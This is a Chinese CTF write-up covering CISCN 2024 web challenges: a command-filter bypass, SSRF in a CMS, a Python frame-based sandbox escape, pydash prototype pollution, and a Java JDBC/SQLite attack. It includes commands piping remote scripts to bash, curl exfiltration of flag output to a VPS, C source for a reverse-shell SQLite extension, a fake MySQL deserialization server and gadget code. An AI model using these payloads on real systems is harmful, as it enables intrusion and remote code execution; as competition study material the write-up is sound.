CISCN2024-WEB-wp

被pwn✌翰青带飞力

最高的时候打到了总榜第三,tql,虽然后面闲鱼老哥发力了,py太明目张胆给分数刷下去了,最后黑灯摆了就没交了,掉到60几了。

这里不谈其他,就谈谈web吧。

Simple_php

ban了很多命令,但是没有ban掉diff和dd,可以使用diff读目录,dd读文件:

读根目录:

diff --recursive / /home

发现根目录没有flag。

读特定文件:

dd if=/etc/passwd

本来想猜测在环境变量里,但是env被ban了,所以/proc/self/environ也读不了。

到/bin里找到了mysql命令,猜测flag在mysql里,但是不知道密码,弱密码试出root/root,执行mysqldump所有数据,ctrl F搜flag交了:

mysqldump -uroot -proot --all-databases

其实RCE绕过方法挺多的,甚至可以反弹shell,打出来后我也试了试通了,网上方法一大把就不献丑了。

easycms

可惜黑灯模式没来得及交,但还是写上wp吧,因为和第二天的revenge相比都基本一样的打法。

首先去官网下载源码然后开始审计:

在dayrui/Fcms/Control/Api/Api.php里的处理qrcode逻辑里,

对于dr_catcher_data方法发现它处理了一个thumb参数,跟进dr_catcher_data方法可以看到一个很明显的curl解析,符合题目127.0.0.1打SSRF的需求

这里是上传的几个参数,不过除了thumb都不太重要:

payload:

<url>/index.php?s=api&c=api&m=qrcode&text=foo&size=1&level=1&thumb=http://vps:port

vps上起一个flask302跳转,然后执行命令curl反弹shell:

from flask import Flask, redirect
​
app = Flask(__name__)
​
@app.route('/')
def index():
    return redirect("http://127.0.0.1/flag.php?cmd=curl vps:80/bash.html|bash")
​
​
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=21000)

也可以起一个php:

<?php
    //header("HTTP/1.1 302 found"); 
    //header("Location:http://127.0.0.1:1337/flag");
    //header("Location:file:///etc/passwd");
    header("Location:http://127.0.0.1/flag.php?cmd=xxxxxx");
    exit();
?>

记得url编码就行。

easycms_revenge

这道题开始用原payload试失败,以为qrcode解析被改了,其实只是改了一点图片头的解析,直接在原有的代码上加一个GIF89a就绕过了......

其他步骤基本一模一样:

from flask import Flask, redirect
from werkzeug.wrappers import Response

app = Flask(__name__)

@app.route('/')
def index():
    html_location = "http://127.0.0.1/flag.php?cmd=curl http://vps:1234/?aaa=`/readflag`"
    response = Response(
        "GIF89A\n" +
        "<!doctype html>\n"
        "<html lang=en>\n"
        "<title>Redirecting...</title>\n"
        "<h1>Redirecting...</h1>\n"
        "<p>You should be redirected automatically to the target URL: "
        f'<a href="{html_location}">{html_location}</a>. If not, click the link.\n',302,mimetype="text/html",)
    response.headers["Location"] = html_location

    return response


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=21000)

如果用php,记得加个html标签就行:

GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=xxxx");
exit();
?>
</html>

这里偷了个懒,因为没有ban反引号,所以直接外带读flag就行了:

由于这种外带带不出来花括号,flag后和最后加上花括号即可。

mossfern

开始以为是随机数伪造啥的,都来seed之类的,但看到另一个文件ban掉了什么os、sys这些,想到了应该是pyjail。

这里可以用栈帧逃逸打:

main.py:

import os
import subprocess
from flask import Flask, request, jsonify
from uuid import uuid1

app = Flask(__name__)

runner = open("/app/runner.py", "r", encoding="UTF-8").read()
flag = open("/flag", "r", encoding="UTF-8").readline().strip()


@app.post("/run")
def run():
    id = str(uuid1())
    try:
        data = request.json
        open(f"/app/uploads/{id}.py", "w", encoding="UTF-8").write(
            runner.replace("THIS_IS_SEED", flag).replace("THIS_IS_TASK_RANDOM_ID", id))
        open(f"/app/uploads/{id}.txt", "w", encoding="UTF-8").write(data.get("code", ""))
        run = subprocess.run(
            ['python', f"/app/uploads/{id}.py"],
            stdout=subprocess.PIPE,
            stderr=subprocess.PIPE,
            timeout=3
        )
        result = run.stdout.decode("utf-8")
        error = run.stderr.decode("utf-8")
        print(result, error)


        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": f"{result}\n{error}"
        })
    except:
        if os.path.exists(f"/app/uploads/{id}.py"):
            os.remove(f"/app/uploads/{id}.py")
        if os.path.exists(f"/app/uploads/{id}.txt"):
            os.remove(f"/app/uploads/{id}.txt")
        return jsonify({
            "result": "None"
        })


if __name__ == "__main__":
    app.run("0.0.0.0", 5000)

runner.py:

def source_simple_check(source):

    """
    Check the source with pure string in string, prevent dangerous strings
    :param source: source code
    :return: None
    """

    from sys import exit
    from builtins import print

    try:
        source.encode("ascii")
    except UnicodeEncodeError:
        print("non-ascii is not permitted")
        exit()

    for i in ["__", "getattr", "exit"]:
        if i in source.lower():
            print(i)
            exit()


def block_wrapper():
    """
    Check the run process with sys.audithook, no dangerous operations should be conduct
    :return: None
    """

    def audit(event, args):

        from builtins import str, print
        import os

        for i in ["marshal", "__new__", "process", "os", "sys", "interpreter", "cpython", "open", "compile", "gc"]:
            if i in (event + "".join(str(s) for s in args)).lower():
                print(i)
                os._exit(1)
    return audit


def source_opcode_checker(code):
    """
    Check the source in the bytecode aspect, no methods and globals should be load
    :param code: source code
    :return: None
    """

    from dis import dis
    from builtins import str
    from io import StringIO
    from sys import exit

    opcodeIO = StringIO()
    dis(code, file=opcodeIO)
    opcode = opcodeIO.getvalue().split("\n")
    opcodeIO.close()
    for line in opcode:
        if any(x in str(line) for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"]):
            if any(x in str(line) for x in ["randint", "randrange", "print", "seed"]):
                break
            print("".join([x for x in ["LOAD_GLOBAL", "IMPORT_NAME", "LOAD_METHOD"] if x in str(line)]))
            exit()


if __name__ == "__main__":

    from builtins import open
    from sys import addaudithook
    from contextlib import redirect_stdout
    from random import randint, randrange, seed
    from io import StringIO
    from random import seed
    from time import time

    source = open(f"/app/uploads/THIS_IS_TASK_RANDOM_ID.txt", "r").read()
    source_simple_check(source)
    source_opcode_checker(source)
    code = compile(source, "<sandbox>", "exec")
    addaudithook(block_wrapper())
    outputIO = StringIO()
    with redirect_stdout(outputIO):
        seed(str(time()) + "THIS_IS_SEED" + str(time()))
        exec(code, {
            "__builtins__": None,
            "randint": randint,
            "randrange": randrange,
            "seed": seed,
            "print": print
        }, None)
    output = outputIO.getvalue()

    if "THIS_IS_SEED" in output:
        print("这 runtime 你就嘎嘎写吧, 一写一个不吱声啊,点儿都没拦住!")
        print("bad code-operation why still happened ah?")
    else:
        print(output)

分析一波:

函数 source_simple_check
用来对输入的源代码进行基础的安全检查。首先,它检查代码是否只包含ASCII字符;如果不是,它会打印警告并退出程序。接下来,它查找一些可能表示危险操作的字符串,例如 "__""getattr"、和 "exit"。如果发现这些字符串,函数会打印它们并退出程序。这些检查有助于防止注入和系统命令执行等风险。

函数 block_wrapper
返回一个用于系统审计的钩子函数,它会检查运行中的事件和参数,寻找可能涉及危险操作的关键词,如 "marshal""__new__""os" 等。如果检测到这些词,程序将打印词语并调用 os._exit(1) 立即退出。这是一个更深层次的防御措施,旨在防止恶意代码操控Python解释器或操作系统功能。

函数 source_opcode_checker
通过分析Python字节码来检测源代码中潜在的危险操作。它首先将源代码编译成字节码,然后检查字节码中的每一行,寻找包含如 "LOAD_GLOBAL""IMPORT_NAME"、或 "LOAD_METHOD" 这样的操作码。这些操作码可能涉及到危险函数的调用或外部模块的加载。如果发现有问题的代码行,程序会打印相关操作码并退出。

主执行部分 在主执行部分,脚本从一个文件中读取代码,然后执行前面定义的安全检查函数。之后,代码被编译并且设置了审计钩子,以防运行时违规操作。代码在一个严格限定的环境中执行,其中仅允许使用几个安全的随机数函数和打印函数。执行结果被捕获并最后进行检查,以确保不包含敏感字符串 “THIS_IS_SEED”,如果包含,表示检查失败。 通过多层审计和执行限制,力图在执行外部提交的Python代码时提供一个相对安全的环境。这种方法有助于防止代码执行中的常见安全问题,如注入攻击、未授权的系统访问等。

python栈帧沙箱逃逸 - Zer0peach can't think

Python利用栈帧沙箱逃逸 - 先知社区 (aliyun.com)

原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表。

这里抄一手第十七届全国大学生信息安全竞赛 CISCN 2024 创新实践能力赛初赛 Web方向 部分题解WP-CSDN博客

使用gi_frame获取当前帧的信息:

def my_generator():
    yield 1
    yield 2
    yield 3

gen = my_generator()

frame = gen.gi_frame

print("Local Variables:", frame.f_locals)
print("Global Variables:", frame.f_globals)
print("Code Object:", frame.f_code)
print("Instruction Pointer:", frame.f_lasti)

利用栈帧沙箱逃逸,原理就是通过生成器的栈帧对象通过f_back(返回前一帧)从而逃逸出去获取globals全局符号表

尝试一下文中给出的例子:

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = next(g)
    print(frame)
    print(frame.f_back)
waff()

报错,因为检测到了黑名单:

稍改一下frame的赋值:

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = [x for x in g][0]
    print(frame)
    print(frame.f_back)
waff()

f_back: 指向上一级调用栈帧的引用,用于构建调用栈。

back三次即可,有输出就是对了:

def waff():
    def f():
        yield g.gi_frame.f_back

    g = f()
    frame = [x for x in g][0]
    print(frame)
    print(frame.f_back)
    print(frame.f_back.f_back)
    print(frame.f_back.f_back.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_" * 2 + "builtins" + "_" * 2]
    dir = gattr.dir
    str = gattr.str
waff()

f_code: 一个代码对象(code object),包含了函数或方法的字节码指令、常量、变量名等信息。

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()
    frame = [x for x in scq][0]

    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]
    dir = gattr.dir
    getflag = frame.f_back.f_back.f_back.f_code
    print(dir(getflag))
exp()

直接可以拿到对象:

直接打印不行,还有:

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()

    # frame = next(scq)
    frame=[x for x in scq][0]
    print(frame)
    print(frame.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]

    getflag = frame.f_back.f_back.f_back.f_code

    dir = gattr.dir
    print(dir(getflag))

    for i in getflag.co_consts:
        print(i)

exp()

转字符串再打印:

def exp():
    def scq():
        yield scq.gi_frame.f_back

    scq = scq()  #生成器

    # frame = next(scq)  # 获取到生成器的栈帧对象
    frame = [x for x in scq][0] #由于生成器也是迭代器,所以也可以获取到生成器的栈帧对象

    # print(frame)
    # print(frame.f_back)
    gattr = frame.f_back.f_back.f_back.f_globals["_"*2+"builtins"+"_"*2]  #['_''_bui''ltins_''_']也行
    dir = gattr.dir
    str = gattr.str  # 获取str方法

    getflag = frame.f_back.f_back.f_back.f_code

    print(dir(getflag))

    for i in str(getflag.co_consts):
        print(i)
exp()

学到了学到了,python沙箱栈帧逃逸。Jay 17师傅挺牛子的。

sanic(Unsolved)

这道只有成电出了,第一天最后的时间一直在看这个,唉可惜没打出来。

python sanic的框架,session伪造和一个python原型链污染。

扫到/src,访问得到源码:

from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2


class Pollute:
    def __init__(self):
        pass


app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)


@app.route('/', methods=['GET', 'POST'])
async def index(request):
    return html(open('static/index.html').read())


@app.route("/login")
async def login(request):
    user = request.cookies.get("user")
    if user.lower() == 'adm;n':
        request.ctx.session['admin'] = True
        return text("login success")

    return text("login fail")


@app.route("/src")
async def src(request):
    return text(open(__file__).read())


@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
    if request.ctx.session.get('admin') == True:
        key = request.json['key']
        value = request.json['value']
        if key and value and type(key) is str and '_.' not in key:
            pollute = Pollute()
            pydash.set_(pollute, key, value)
            return text("success")
        else:
            return text("forbidden")

    return text("forbidden")


if __name__ == '__main__':
    app.run(host='0.0.0.0')
cookie 如果传 ; 会被截断,其实考的是 RFC2068 的编码规则:

three-digit octal equivalent of the character. Any '\' or '" quoted with a preceeding '\' slash. 
Check for special sequences.
Examples: \
012 --> \n \" --> "

绕admin可以直接

user="adm\073n"

login拿一下session,然后就是打/admin路由,传key和value的json打原型链。

pydash==5.1.2,这个版本是可以打原型链的。
但后面就卡着了,其实队里mix叠快出了,最后应该就是污染目录读根目录文件,然后再污染一次读flag的事。
import requests
 
url = ''
 
s = requests.Session()
 
s.cookies.update({
    'user': '"adm\\073n"'
})
 
s.get(url + '/login')
 
# 开启目录浏览
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
 
# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
 
# r = s.post(url + '/admin', json=data)
# print(r.text)
 
# 获取flag路径
# r = s.get(url + '/static/')
# print(r.text)
 
 
#污染__file__,读取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)

ezjava(Unsolved)

可惜本人思路有限,java安全也才入门水平,调的时候也是一坨。

只能看出是打JDBC的sqlite,他给的mysql和postgresql好像后面都用不了。

赛后看了看队里佬的想法,确实可以打so文件传进去然后load_extension一手就能反弹shell,具体复现后面再打吧。

JavaSec/9.JDBC Attack/SQLite/index.md at main · Y4tacker/JavaSec · GitHub

依赖里有AspectJWeaver,可以打任意文件写入:

【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客

UserBean这里调用了map.put,可以直接打readObject:

然后利用DatasourceServiceImpl里的数据库逻辑:

case1可以起一个恶意mysql传so文件,然后利用case3的sqlite加载so文件。

-------------------------------------------------------------------------------------

加载so文件,可以用C语言写一个然后用gcc编译:

Jdbc碎碎念三:内存数据库 | m0d9’s blog

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = 7777;
char *ip = "10.10.10.10";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);
  
  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}
  
  return rc;
}
sudo apt install libsqlite3-dev

gcc -g -shared -fPIC exp.c -o exp.so

也可以直接msf生成:

package com.eddiemurphy;

import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;

public class Exp {
    // 获取指定类的第一个构造函数,并设置为可访问
    public static Constructor<?> getCtor(final String name) throws Exception {
        final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
        ctor.setAccessible(true);
        return ctor;
    }

    // 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中
    public static Object getObject() throws Exception {
        String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so
        Path filePath = Paths.get("F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\evil.so"); // 假设evil.so位于当前目录
        byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节
        String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码
        UserBean bean = new UserBean(filename, content); // 创建UserBean实例
        Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象
        bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性
        return bean;
    }

    // 序列化一个对象到字节数组
    public static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(object);
        oos.close();
        return baos.toByteArray();
    }

    // 主函数,序列化对象并将其写入文件
    public static void main(String[] args) throws Exception {
        byte[] serialized = serialize(getObject()); // 序列化对象
        String fileName = "F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\output.ser"; // 输出文件名

        // 使用FileOutputStream将字节数据写入文件
        FileOutputStream fos = new FileOutputStream(fileName);
        fos.write(serialized);
        fos.close(); // 关闭文件输出流
    }
}

然后VPS起一个fakemysql,payload和端口自己设一下,发包直接打:

import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则:java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢??
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break

传so文件:

{"type":"1","url":"jdbc:mysql://vps:port/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"}

load_extention反弹shell:

{"type":"3","tableName":"(select (load_extension(\"/tmp/evil.so\")));","url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"}

posted @ 2024-05-20 13:18  Eddie_Murphy  阅读(1149)  评论(0编辑  收藏  举报